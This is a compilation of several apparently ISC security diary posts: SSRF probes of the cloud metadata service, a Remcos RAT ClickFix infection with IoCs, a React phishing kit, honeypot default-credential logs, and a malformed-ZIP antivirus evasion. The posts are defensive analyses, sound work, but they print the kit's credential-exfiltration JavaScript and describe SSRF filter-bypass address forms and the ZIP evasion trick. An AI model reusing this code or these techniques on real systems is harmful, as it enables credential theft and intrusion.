The intent of these requests is to reach the cloud metadata service, which is typically listening on 169.254.169.254, a non-routable link-local address. The "security-credentials" directory should list entities with access to the service, and can then lead to requests for key material used for authentication.

The attacker does not just use the IPv4 address, but attempts to bypasspass some filters by using the IPv4 mapped IPv6 address. The prefix ::ffff/96, followed by the IPv4 address, is used to express IPv4 addresses in IPv6. Note that these addresses are not intended to be routable, but just like 169.254.169.254 they may work on the host itself. In addition, the attacker is used the "less apprviated" form by specifying the first few bytes with 0:0:0:0. Finally, the long unsigned integer form of the IP address is used.

The meta data service is often exploited using SSRF vulenrabilities. However, the more modern "version 2" of the meta data service is attempting to prevent simple SSRF attacks by requiring two requests with different methods and specific custom headers. SSRF vulnerabilities are just like a less functional open proxy. In this case, the attacker assumes a full proxy, and an attack may not be prevented by the more modern meta data service implementation.

Modern web applications use proxies in many different forms. For example you may have API gateways, load balancers, web application firewalls or even still some proxies to bypass CORS constraints. Any of these cases is potentially vulenrable if badly configured. The above list of URLs may make a good starting point to test the implementation of your proxy.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

This diary describes a Remcos RAT infection that I generated in my lab on Thursday, 2026-03-11. This infection was from the SmartApeSG campaign that used a ClickFix-style fake CAPTCHA page.

My previous in-depth diary about a SmartApeSG (ZPHP, HANEYMANEY) was in November 2025, when I saw NetSupport Manager RAT. Since then, I've fairly consistently seen what appears to be Remcos RAT from this campaign.

Finding SmartApeSG Activity

As previously noted, I find SmartApeSG indicators from the Monitor SG account on Mastodon, and I use URLscan to pivot on those indicators to find compromised websites with injected SmartApeSG script.

Details

Below is an image of HTML in a page from a legitimate but compromised website that shows the injected SmartApeSG script.

Shown above: Page from a legitimate but compromised site that highlights the injected SmartApeSG script.

The injected SmartApeSG script generates a fake CAPTCHA-style "verify you are human" page, which displays ClickFix-style instructions after checking a box on the page. A screenshot from this infection is shown below, and it notes the ClickFix-style script injected into the user's clipboard. Users are instructed to open a run window, paste the script into it, and hit the Enter key.

Shown above: Fake CAPTCHA page generated by a legitimate but compromised site, showing the ClickFix-style command.

I used Fiddler to reveal URLS from the HTTPS traffic, and I recorded the traffic and viewed it in Wireshark. Traffic from the infection chain is shown in the image below.

Shown above: Traffic from the infection in Fiddler and Wireshark.

After running the ClickFix-style instructions, the malware was sent as a ZIP archive and saved to disk with a .pdf file extension. This appears to be Remcos RAT in a malicious package that uses DLL side-loading to run the malware. This infection was made persistent with an update to the Windows Registry.

Shown above: Malware from the infection persistent on an infected Windows host.

Indicators of Compromise

Injected SmartApeSG script injected into page from legitimate but compromised site:

• hxxps[:]//cpajoliette[.]com/d.js

Traffic to domain hosting the fake CAPTCHA page:

• hxxps[:]//retrypoti[.]top/endpoint/signin-cache.js
• hxxps[:]//retrypoti[.]top/endpoint/login-asset.php?Iah0QU0N
• hxxps[:]//retrypoti[.]top/endpoint/handler-css.js?00109a4cb788daa811

Traffic generated by running the ClickFix-style script:

• hxxp[:]//forcebiturg[.]com/boot  <-- 302 redirect to HTTPS URL
• hxxps[:]//forcebiturg[.]com/boot  <-- returned HTA file
• hxxp[:]//forcebiturg[.]com/proc  <-- 302 redirect to HTTPS URL
• hxxps[:]//forcebiturg[.]com/proc  <-- returned ZIP archive archive with files for Remcos RAT

Post-infection traffic for Remcos RAT:

• 193.178.170[.]155:443 - TLSv1.3 traffic using self-signed certificate

Example of ZIP archive for Remcos RAT:

• SHA256 hash: b170ffc8612618c822eb03030a8a62d4be8d6a77a11e4e41bb075393ca504ab7
• File size: 92,273,195 bytes
• File type: Zip archive data, at least v2.0 to extract, compression method=deflate
• Example of saved file location: C:\Users\[username]\AppData\Local\Temp\594653818\594653818.pdf

Of note, the files, URLs and domains for SmartApeSG activity change on a near-daily basis, and the indicators described in this article are likely no longer current. However, the overall patterns of activity for SmartApeSG have remained fairly consistent over the past several months.

---
Bradley Duncan
brad [at] malware-traffic-analysis.net

But before we get to the details, let’s take a quick look at the initial message. The e-mail pretended to be a notification about a list of files shared with us through the legitimate WeTransfer service.

I mentioned that the lure used in the message was of low-quality because, as you can see in the following image, the files in question were supposedly sent by someone using our own e-mail address… Which would probably be at least a little suspicious to any recipient.

The body of the message included a list of files that were supposedly part of the transfer – in total the message claimed that 76 items with a combined size of 1010 MB were shared with us (or with the intended victim, to be more general).

Messages of this type are quite ubiquitous and the only reason why I decided to spend any time on this one was the link it contained. It pointed to the following URL:

hxxps[:]//crimson-pine-6e12[.]gstmfhxzvbxk[.]workers[.]dev/?%D0%BF%D1%80%D0%BE86%D0%B3%D1%80%D0%B0=handlers@isc.sans.edu()Dropbox%20Community

Embedding the recipient’s e-mail address in the query string is something we see fairly frequently in phishing campaigns, but the ending of the parameter string with “()Dropbox Community” caught my attention.

Another small detail that somewhat stood out was the encoded portion at the beginning of the query parameter, which used percent-encoded UTF-8 byte sequences that did not correspond to standard ASCII characters.

%D0%BF%D1%80%D0%BE86%D0%B3%D1%80%D0%B0

When decoded, the first characters correspond to Cyrillic letters, specifically:

This appears to be a truncated fragment of the Russian word for a program:

The reason for including this fragment is unclear, but it provides an indicator of the language the authors of the phishing might have spoken (since one wouldn’t expect any false-flag attempts in a generic phishing campaign such as this one).

As you may have noted, the link used in the message pointed to a Cloudflare Workers domain (workers.dev), which, apart from its legitimate use, has become a convenient hosting platform for short-lived malicious infrastructure in recent years[1,2].

The link led to a fake Dropbox Transfer page showing what appeared to be a file download portal with a list of documents displayed over a looping video.

Selecting any of the download options resulted in a login prompt requesting the user’s e-mail address and password before access to the files would (supposedly) be granted.

While the user interface itself was fairly typical for a phishing page, its structure was somewhat more interesting.

Inspecting the page source revealed that the HTML document was almost empty and consisted mainly of a single placeholder element together with a reference to a JavaScript bundle main.90eaa1b0.js (the additional hidden elements were unrelated to the visible interface and were likely artifacts of the phishing kit or simple attempts to evade automated scanning).

<!doctype html>
<html lang="en">
<head>
...
<title>Dropbx - Collaboration Document</title>
<script defer="defer" src="/static/js/main.90eaa1b0.js">
</script>
<link href="/static/css/main.3a3f297d.css" rel="stylesheet">
</head>
<body>
<noscript>You need to enable JavaScript to run this app.</noscript>
<div class="hello_world">
</div>
<div id="root">
</div>
<div class="laravel_php">
<p style="display:none!important">hello_world</p>
</div>
<div class="os_webkit_moz_ms_fox">
<h1 style="display:none!important">Introduction</h1>
</div>
<div class="kungfu_panda_">
<p style="display:none!important">hello_world</p>
</div>
</body>
</html>

This indicated that the page was implemented as a single-page web application, where the interface was supposed to be rendered dynamically in the browser. This approach is much less common in phishing kits than static HTML pages and can somewhat complicate analysis if an analyst relies only on a landing page source code.

Opening the referenced JavaScript bundle confirmed the hypothesis and showed that the page was built using React[3], since it contained the React runtime together with the application code. Typical runtime identifiers appeared throughout the file, as you can see in the following image.

The entire phishing interface was therefore rendered dynamically once the JavaScript bundle executed and attached itself to the root HTML element.

The most interesting portion of the code appeared in the logic responsible for submitting the login form. The bundle contained a call to the EmailJS service[4], which allows web applications to send e-mails via its API directly from client-side JavaScript.

The three following code fragments show the relevant functionality:

1. Code responsible for sending a POST request to the EmailJS API

   const D={origin:"https://api.emailjs.com", ...}
   
   H=async function(e,t){
     ...
     const r=await fetch(D.origin+e,{method:"POST",headers:n,body:t}),
     ...
   }

    

2. Definition of a routine that builds the POST request body

   X=async(e,t,n,r)=>{
     const l=F(r),
           a=l.publicKey||D.publicKey,
           ...
     ...
     f.append("lib_version","4.4.1"),
     f.append("service_id",e),
     f.append("template_id",t),
     f.append("user_id",a),
     H("/api/v1.0/email/send-form",f)
   }

    

3. Code that supplies parameters for the POST request (strings inside this excerpt are EmailJS inputs – “service_t8yu1k1” is a service ID, “template_vszijae” is a template ID and the constant “e” contains a public API key)

   const e="Z2Y07-t9AET4hviRq";
   if(
     X("service_t8yu1k1","template_vszijae",r.current,{publicKey:e}).then((()=>{console.log("a")}),(e=>{console.log("e")})),
     ...
   )

    

Using this code, any credentials entered by a victim would be collected and transmitted through the EmailJS API.

It should further be mentioned that the JS code also queried the Geoapify IP information API[5] to gather geographic metadata about the victim, which was then intended to be sent to the attackers along with the harvested credentials.

After the form submission the page would redirect the victim to the legitimate website (Dropbox), as is usual in similar circumstances.

Although the entire campaign is basically just a run-of-the-mill credential harvesting operation, from a technical standpoint, the phishing kit used is quite interesting. Both because the implementation through a React application bundled into a single JavaScript file can potentially be effective in evading simple security filters on web proxies that rely only on static HTML analysis, but also due to use of a legitimate third-party service for credential exfiltration instead of an attacker-controlled infrastructure.

IoCs
Phishing domain:
crimson-pine-6e12.gstmfhxzvbxk.workers.dev
EmailJS identifiers:
service_t8yu1k1
template_vszijae

[1] https://developers.cloudflare.com/workers/
[2] https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing
[3] https://react.dev/
[4] https://www.emailjs.com/docs/
[5] https://www.geoapify.com/ip-geolocation-api/

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

Introduction

Have you ever installed a new device on your home or company router? Even when setup instructions are straightforward, end users often skip the step that matters most: changing default credentials. The excitement of deploying a new device frequently outweighs the discipline of securing it.
This diary explains a little real-world short story and then walks through my own internship observations overseeing a honeypot and vulnerability assessment that demonstrate just how quickly default credentials are discovered and abused.

Default Credentials in a Real-World Example

Default usernames and passwords remain the most exploited attack vector for Internet of Things (IoT) devices. Whether installation is performed by an end user or a contracted vendor, organizations must have a defined process to ensure credentials are changed immediately. Without that process, compromise is often a matter of when, not if.
During a routine vulnerability assessment at work, I identified multiple IP addresses that were accessible using default credentials. These IPs belonged to a newly installed security system monitoring sensitive material. The situation was worse than expected:

• The system was not placed on the proper VLAN
• Basic end user machines could reach it
• The username “root” remained unchanged and password “password” was changed to “admin”

This configuration was still trivial to guess and exploit, regardless of whether access was internal or external. From my point of view, it was easily guessed and accessed, like Figure 1 below. 

Figure 1 - Meme of Easily Bypassed Security Controls

What Logs Showed?

To better understand how common this issue is, I analyzed SSH and Telnet traffic across an eight-day period (January 18–25) and compared it with more recent data. This ties into the story above based on how many devices are kept with their default settings or slightly changed with common trivial combinations. These graphs were pulled from the Internet Storm Center (ISC) My SSH Reports page [2], while the comparison was generated with ChatGPT tool.

JANUARY 27TH, 2026

FEBRUARY 17TH, 2026

COMPARISON

Across both datasets:

• The username “root” remained dominant at ~39%
• The password “123456” increased from 15% to 27%
• These combinations strongly resembled automated botnet scanning behavior

This aligns with publicly known credential lists that attackers use for large scale reconnaissance.

Successful Connections

During the analysis window, I observed:

• 44,269 failed connection attempts
• 1,286 successful logins
• A success rate of only 2.9%

That percentage may appear low, but it still resulted in over a thousand compromised sessions.
To perform this analysis, I parsed Cowrie JSON logs using jq, converted them to CSV files, and consolidated them into a single spreadsheet.

From the 1,286 successful connections:

• 621 used the username root
• 154 used admin as the password
• 406 shared the same HASSH fingerprint 2ec37a7cc8daf20b10e1ad6221061ca5
• 47 sessions matched all three indicators

The matched session to that hash is shown in APPENDIX A.

What Attackers did After Logging in?

Four session IDs stood out during review of the full report:
1. eee64da853a9
2. f62aa78aca0b
3. 308d24ec1d36
4. f0bc9f078bdd

Sessions 1 and 4 focused on reconnaissance, executing commands to gather system details such as CPU, uptime, architecture, and GPU information.

With the use of ChatGPT [3], I was able to compare each session and the commands the attacker attempted to use.  It was disclosed that Sessions 1 and 4 had reconnaissance from the topmost digital fingerprint HASSH.  They both had the same command but with different timestamps. Refer to APPENDIX B for Session ID 1 and 2 command outputs.

Sessions 2 and 3 demonstrated more advanced behavior:

• SSH key persistence
• Credential manipulation
• Attempts to modify account passwords

Session 308d24ec1d36 ranked as the most severe due to attempted password changes and persistence mechanisms that could have resulted in long term control if it was attempted on a real-world medium. Refer to APPENDIX C for Session ID 2 and 3 command outputs.

Failed Attempts Tell a Bigger Story

Failed authentication attempts revealed even more.

One digital fingerprint alone accounted for 18,846 failed attempts, strongly suggesting botnet driven scanning activity.

On January 19, 2026, there were 14,057 failed attempts in a single day — a significant spike compared to surrounding dates.

From a Security Operations Center (SOC) analyst’s perspective, this level of activity represents a serious exposure risk.  It could mean a botnet scanning campaign like the one observed by GreyNoise in late August 2025 [4]. 

Below is a visual of the top usernames, passwords, and hashes across the analyzed timeframe.

Figure 2 - Top Usernames, Passwords, and Digital Fingerprints

To note in comparison to the other days, where it’s not even half of 14k, Figure 3 below dictates the spread. 

Figure 3 – Failed Connection Attempts Over Time

Best Practices to Follow Towards Resolving Default Credentials

The SANS Cybersecurity Policy Template for Password Construction Standard states that it “applies to all passwords including but not limited to user-level accounts, system-level accounts, web accounts, e-mail accounts, screen saver protection, voicemail, and local router logins.” More specially, the document also states that “strong passwords that are long, the more characters a password has the stronger it is,” and they “recommend a minimum of 16 characters in all work-related passwords [6].”

Establish an immediate policy to change the default password of IoT devices, such an example is a network printer that is shipped with default usernames and passwords [7].

Practical Experience Without the Real-World Disaster

Having access to a controlled sandbox environment, such as a honeypot lab, provides valuable hands-on experience for cybersecurity practitioners.
Sometimes you may need to deal with and see the real-world disaster in a controlled environment to deal with it and see the ripple effect it may produce. 

Why Might this Apply to you?

MITRE ATT&CK explicitly documents adversary use of manufacturers set default credentials on control systems. They stress that it must be changed as soon as possible.
This isn’t just an enterprise issue. The same risks apply to:

• Home routers
• Networked cameras
• Printers
• NAS devices

For hiring managers, even job postings that disclose specific infrastructure details can unintentionally assist attackers searching for default credentials.
Ultimately, it’s important to deliberately implement data security measures to protect yourself from data breaches at your home or workplace. 

Who Can Gain Valuable Insight on this Information?

Anyone with an internet or digital fingerprint. More specifically, organization leadership and management, when it comes to training your workforce and training your replacements.
A client-tech department, where a team is dedicated to testing the software or devices on the network, to include validating the version of it through a patching management tool, or reference library to know when versions are outdated. Routine “unauthorized” or “prohibited” software reports is an absolute must have in your workplace.
System administrators and SOC analysts are essential to not just know it, but to maintain it. To continue the trend, Cybersecurity students or Professionals such as Red vs. Blue teams [5] for example will gain significant value in this information.

Moving Forward Even with Good Defense

Defense in depth remains critical:

• Strong, unique credentials
• Multi factor authentication where possible [7]
• Device fingerprinting
• Continuous monitoring

SANS also encourage to utilize passphrases, passwords made up of multiple words. [6]

A common saying in Cybersecurity is, “the more secure the data is, the less convenient the data is—the less secure, the more convenient.” 
Organizations should also maintain a Business Impact Analysis (BIA) within their cybersecurity program. Even with strong defensive measures, organizations must assume that some security controls may eventually fail. A Business Impact Analysis (BIA) helps organizations prioritize which assets require the strongest protection by identifying critical, operational dependencies, and acceptable downtime thresholds.

Tying it all together.  This recommendation to combined with a defense-in-depth strategy, the BIA ensures that the most important systems receive multiple layers of protection such as network segmentation, strong authentication controls, continuous monitoring, and incident response planning. Without this structured approach, organizations may struggle to recover from a compromise or minimize operational disruption.

Figure 4 - Examples of Enterprise Business Asset Types [9]

Appendix A - Log Sample

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/ 
[2] https://isc.sans.edu/mysshreports/
[3] https://chatgpt.com/
[4] https://eclypsium.com/blog/cisco-asa-scanning-surge-cyberattack/
[5] https://www.techtarget.com/searchsecurity/tip/Red-team-vs-blue-team-vs-purple-team-Whats-the-difference
[6] https://www.sans.org/information-security-policy/password-construction-standard
[7] https://owasp.org/www-project-top-10-infrastructure-security-risks/docs/2024/ISR07_2024-Insecure_Authentication_Methods_and_Default_Credentials
[8] https://attack.mitre.org/techniques/T0812/
[9] https://csrc.nist.gov/pubs/ir/8286/d/upd1/final (PDF: Using Business Impact Analysis to Inform Risk Prioritization)

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

It's a method to create a malformed ZIP file that will bypass detection by most anti-virus engines.

The malformed ZIP file can not be opened with a ZIP utility, a custom loader is required.

The trick is to change the compression method to STORED while the contend is still DEFLATED: a flag in the ZIP file header states the content is not compressed, while in reality, the content is compressed.

I will show you how to use my tools to analyze such a malformed ZIP file.

Simple Method

Just run my tool search-for-compression.py on the ZIP file (you can download the Zombie ZIP file here, it contains an EICAR file):

The largest compression blob is number 2, it is 77 bytes long. Let's select it:

That's the EICAR file.

Complex Method

We can use the latest version of zipdump.py to analyze the file:

Just using the tool fails (because the zip file is malformed):

Using option -f to bypass the Python ZIP library for parsing, and using custom code to look for ZIP records (-f l) shows us this is a ZIP file, containing a file with the name eicar.com:

Selecting the FILE record (at position 0x00000000, PK0304 fil) shows us all the meta data:

The compressiontype is 0 (STORED), this means that the content of the file is just stored inside the ZIP file, not compressed.

But notice that the compressedsize and uncompressedsize are different (70 and 68). It should be the same for a STORED file.

Let's select the raw file content (-s data) and perform an asciidump (-a):

This does not look like the EICAR file.

Let's force the decompression of the data: -s forcedecompress:

This reveals the EICAR file content.

Option forcedecompress is a new option that I just coded in zipdump.py version 0.0.35. Option decompress will only decompress if the compression type is DEFLATED, thus it can't be used on this malformed ZIP file. Option forcedecompress will always try to decompress (and potentially fail), regardless of the compression type.

Didier Stevens
Senior handler
blog.DidierStevens.com